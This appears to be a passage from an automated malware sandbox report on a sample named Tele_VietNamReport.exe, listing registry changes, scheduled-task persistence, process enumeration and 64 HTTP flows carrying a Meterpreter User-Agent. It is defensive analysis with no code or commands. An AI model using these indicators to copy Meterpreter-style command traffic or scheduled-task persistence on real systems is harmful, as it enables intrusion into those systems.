Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	App.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
4204	timeout.exe

Meterpreter User-Agent 64 IoCs

Uses user-agent string related to Meterpreter framework.

description	flow	ioc
HTTP User-Agent header	1492	Meterpreter/1.0 (Windows)
HTTP User-Agent header	1542	Meterpreter/1.0 (Windows)
HTTP User-Agent header	1569	Meterpreter/1.0 (Windows)
HTTP User-Agent header	1588	Meterpreter/1.0 (Windows)
HTTP User-Agent header	1614	Meterpreter/1.0 (Windows)
HTTP User-Agent header	286	Meterpreter/1.0 (Windows)
HTTP User-Agent header	475	Meterpreter/1.0 (Windows)
HTTP User-Agent header	530	Meterpreter/1.0 (Windows)
HTTP User-Agent header	716	Meterpreter/1.0 (Windows)
HTTP User-Agent header	1204	Meterpreter/1.0 (Windows)
HTTP User-Agent header	1769	Meterpreter/1.0 (Windows)
HTTP User-Agent header	1835	Meterpreter/1.0 (Windows)
HTTP User-Agent header	1858	Meterpreter/1.0 (Windows)
HTTP User-Agent header	717	Meterpreter/1.0 (Windows)
HTTP User-Agent header	299	Meterpreter/1.0 (Windows)
HTTP User-Agent header	502	Meterpreter/1.0 (Windows)
HTTP User-Agent header	779	Meterpreter/1.0 (Windows)
HTTP User-Agent header	1130	Meterpreter/1.0 (Windows)
HTTP User-Agent header	1690	Meterpreter/1.0 (Windows)
HTTP User-Agent header	1747	Meterpreter/1.0 (Windows)
HTTP User-Agent header	1864	Meterpreter/1.0 (Windows)
HTTP User-Agent header	59	Meterpreter/1.0 (Windows)
HTTP User-Agent header	468	Meterpreter/1.0 (Windows)
HTTP User-Agent header	515	Meterpreter/1.0 (Windows)
HTTP User-Agent header	574	Meterpreter/1.0 (Windows)
HTTP User-Agent header	778	Meterpreter/1.0 (Windows)
HTTP User-Agent header	911	Meterpreter/1.0 (Windows)
HTTP User-Agent header	1516	Meterpreter/1.0 (Windows)
HTTP User-Agent header	1531	Meterpreter/1.0 (Windows)
HTTP User-Agent header	226	Meterpreter/1.0 (Windows)
HTTP User-Agent header	393	Meterpreter/1.0 (Windows)
HTTP User-Agent header	1448	Meterpreter/1.0 (Windows)
HTTP User-Agent header	1561	Meterpreter/1.0 (Windows)
HTTP User-Agent header	1883	Meterpreter/1.0 (Windows)
HTTP User-Agent header	1999	Meterpreter/1.0 (Windows)
HTTP User-Agent header	2093	Meterpreter/1.0 (Windows)
HTTP User-Agent header	2239	Meterpreter/1.0 (Windows)
HTTP User-Agent header	907	Meterpreter/1.0 (Windows)
HTTP User-Agent header	1234	Meterpreter/1.0 (Windows)
HTTP User-Agent header	1363	Meterpreter/1.0 (Windows)
HTTP User-Agent header	1509	Meterpreter/1.0 (Windows)
HTTP User-Agent header	1515	Meterpreter/1.0 (Windows)
HTTP User-Agent header	1860	Meterpreter/1.0 (Windows)
HTTP User-Agent header	1870	Meterpreter/1.0 (Windows)
HTTP User-Agent header	1899	Meterpreter/1.0 (Windows)
HTTP User-Agent header	482	Meterpreter/1.0 (Windows)
HTTP User-Agent header	670	Meterpreter/1.0 (Windows)
HTTP User-Agent header	1085	Meterpreter/1.0 (Windows)
HTTP User-Agent header	1799	Meterpreter/1.0 (Windows)
HTTP User-Agent header	1872	Meterpreter/1.0 (Windows)
HTTP User-Agent header	1885	Meterpreter/1.0 (Windows)
HTTP User-Agent header	1914	Meterpreter/1.0 (Windows)
HTTP User-Agent header	1924	Meterpreter/1.0 (Windows)
HTTP User-Agent header	1297	Meterpreter/1.0 (Windows)
HTTP User-Agent header	1389	Meterpreter/1.0 (Windows)
HTTP User-Agent header	1668	Meterpreter/1.0 (Windows)
HTTP User-Agent header	1714	Meterpreter/1.0 (Windows)
HTTP User-Agent header	1838	Meterpreter/1.0 (Windows)
HTTP User-Agent header	1970	Meterpreter/1.0 (Windows)
HTTP User-Agent header	2187	Meterpreter/1.0 (Windows)
HTTP User-Agent header	2257	Meterpreter/1.0 (Windows)
HTTP User-Agent header	188	Meterpreter/1.0 (Windows)
HTTP User-Agent header	883	Meterpreter/1.0 (Windows)
HTTP User-Agent header	1400	Meterpreter/1.0 (Windows)

Modifies Internet Explorer settings 1 TTPs 36 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-686476835-2493921010-524562731-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\ShellBrowser	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-686476835-2493921010-524562731-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\ShellBrowser	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-686476835-2493921010-524562731-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\ShellBrowser\ITBar7Layout = 13000000000000000000000020000000100000000000000001000000010700005e01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-686476835-2493921010-524562731-1000\Software\Microsoft\Internet Explorer\Toolbar	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-686476835-2493921010-524562731-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\Locked = "1"	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-686476835-2493921010-524562731-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\ShellBrowser\ITBar7Layout = 13000000000000000000000020000000100000000000000001000000010700005e01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-686476835-2493921010-524562731-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\Locked = "1"	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-686476835-2493921010-524562731-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\ShellBrowser\ITBar7Layout = 13000000000000000000000020000000100000000000000001000000010700005e01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-686476835-2493921010-524562731-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\Locked = "1"	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-686476835-2493921010-524562731-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\ShellBrowser\ITBar7Layout = 13000000000000000000000020000000100000000000000001000000010700005e01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-686476835-2493921010-524562731-1000\Software\Microsoft\Internet Explorer\Toolbar	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-686476835-2493921010-524562731-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\Locked = "1"	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-686476835-2493921010-524562731-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\ShellBrowser	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-686476835-2493921010-524562731-1000\Software\Microsoft\Internet Explorer\Toolbar	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-686476835-2493921010-524562731-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\ShellBrowser	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-686476835-2493921010-524562731-1000\Software\Microsoft\Internet Explorer\Toolbar	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-686476835-2493921010-524562731-1000\Software\Microsoft\Internet Explorer\Toolbar	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-686476835-2493921010-524562731-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\ShellBrowser\ITBar7Layout = 13000000000000000000000020000000100000000000000001000000010700005e01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-686476835-2493921010-524562731-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\Locked = "1"	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-686476835-2493921010-524562731-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\Locked = "1"	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-686476835-2493921010-524562731-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\ShellBrowser	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-686476835-2493921010-524562731-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\Locked = "1"	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-686476835-2493921010-524562731-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\ShellBrowser	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-686476835-2493921010-524562731-1000\Software\Microsoft\Internet Explorer\Toolbar	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-686476835-2493921010-524562731-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\ShellBrowser	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-686476835-2493921010-524562731-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\ShellBrowser\ITBar7Layout = 13000000000000000000000020000000100000000000000001000000010700005e01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-686476835-2493921010-524562731-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\ShellBrowser\ITBar7Layout = 13000000000000000000000020000000100000000000000001000000010700005e01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-686476835-2493921010-524562731-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\Locked = "1"	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-686476835-2493921010-524562731-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\ShellBrowser	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-686476835-2493921010-524562731-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\ShellBrowser\ITBar7Layout = 13000000000000000000000020000000100000000000000001000000010700005e01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-686476835-2493921010-524562731-1000\Software\Microsoft\Internet Explorer\Toolbar	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-686476835-2493921010-524562731-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\ShellBrowser\ITBar7Layout = 13000000000000000000000020000000100000000000000001000000010700005e01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-686476835-2493921010-524562731-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\ShellBrowser	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-686476835-2493921010-524562731-1000\Software\Microsoft\Internet Explorer\Toolbar	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-686476835-2493921010-524562731-1000\Software\Microsoft\Internet Explorer\Toolbar	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-686476835-2493921010-524562731-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\Locked = "1"	explorer.exe

Modifies registry class 54 IoCs

description	ioc	Process
Set value (data)	\REGISTRY\USER\S-1-5-21-686476835-2493921010-524562731-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-686476835-2493921010-524562731-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-686476835-2493921010-524562731-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-686476835-2493921010-524562731-1000_Classes\Local Settings	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-686476835-2493921010-524562731-1000_Classes\Local Settings	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-686476835-2493921010-524562731-1000_Classes\Local Settings	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-686476835-2493921010-524562731-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-686476835-2493921010-524562731-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-686476835-2493921010-524562731-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-686476835-2493921010-524562731-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-686476835-2493921010-524562731-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-686476835-2493921010-524562731-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-686476835-2493921010-524562731-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-686476835-2493921010-524562731-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-686476835-2493921010-524562731-1000_Classes\Local Settings	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-686476835-2493921010-524562731-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-686476835-2493921010-524562731-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-686476835-2493921010-524562731-1000_Classes\Local Settings	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-686476835-2493921010-524562731-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-686476835-2493921010-524562731-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-686476835-2493921010-524562731-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-686476835-2493921010-524562731-1000_Classes\Local Settings	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-686476835-2493921010-524562731-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-686476835-2493921010-524562731-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-686476835-2493921010-524562731-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-686476835-2493921010-524562731-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-686476835-2493921010-524562731-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-686476835-2493921010-524562731-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-686476835-2493921010-524562731-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-686476835-2493921010-524562731-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-686476835-2493921010-524562731-1000_Classes\Local Settings	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-686476835-2493921010-524562731-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-686476835-2493921010-524562731-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-686476835-2493921010-524562731-1000_Classes\Local Settings	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-686476835-2493921010-524562731-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-686476835-2493921010-524562731-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-686476835-2493921010-524562731-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-686476835-2493921010-524562731-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-686476835-2493921010-524562731-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-686476835-2493921010-524562731-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-686476835-2493921010-524562731-1000_Classes\Local Settings	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-686476835-2493921010-524562731-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-686476835-2493921010-524562731-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-686476835-2493921010-524562731-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-686476835-2493921010-524562731-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	explorer.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 23 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1724	schtasks.exe
4008	schtasks.exe
3068	schtasks.exe
1796	schtasks.exe
1792	schtasks.exe
3088	schtasks.exe
1204	schtasks.exe
4208	schtasks.exe
4856	schtasks.exe
4068	schtasks.exe
4684	schtasks.exe
3320	schtasks.exe
5004	schtasks.exe
4448	schtasks.exe
1704	schtasks.exe
4064	schtasks.exe
4652	schtasks.exe
2132	schtasks.exe
4320	schtasks.exe
2044	schtasks.exe
5080	schtasks.exe
1368	schtasks.exe
60	schtasks.exe

Suspicious behavior: AddClipboardFormatListener 9 IoCs

pid	Process
2980	explorer.exe
3564	explorer.exe
3828	explorer.exe
1788	explorer.exe
4476	explorer.exe
4556	explorer.exe
2064	explorer.exe
5072	explorer.exe
4600	explorer.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4744	powershell.exe
4744	powershell.exe
1196	powershell.exe
1196	powershell.exe
3268	Tele_VietNamReport.exe
3268	Tele_VietNamReport.exe
3268	Tele_VietNamReport.exe
3268	Tele_VietNamReport.exe
3268	Tele_VietNamReport.exe
3268	Tele_VietNamReport.exe
3268	Tele_VietNamReport.exe
3268	Tele_VietNamReport.exe
3268	Tele_VietNamReport.exe
3268	Tele_VietNamReport.exe
3268	Tele_VietNamReport.exe
3268	Tele_VietNamReport.exe
3268	Tele_VietNamReport.exe
3268	Tele_VietNamReport.exe
3268	Tele_VietNamReport.exe
3268	Tele_VietNamReport.exe
3268	Tele_VietNamReport.exe
3268	Tele_VietNamReport.exe
3268	Tele_VietNamReport.exe
3268	Tele_VietNamReport.exe
3268	Tele_VietNamReport.exe
3268	Tele_VietNamReport.exe
3268	Tele_VietNamReport.exe
3872	App.exe
3872	App.exe
3872	App.exe
3872	App.exe
3872	App.exe
3872	App.exe
3872	App.exe
3872	App.exe
3872	App.exe
3872	App.exe
3872	App.exe
3872	App.exe
3872	App.exe
3872	App.exe
3872	App.exe
3872	App.exe
3872	App.exe
3872	App.exe
3872	App.exe
3872	App.exe
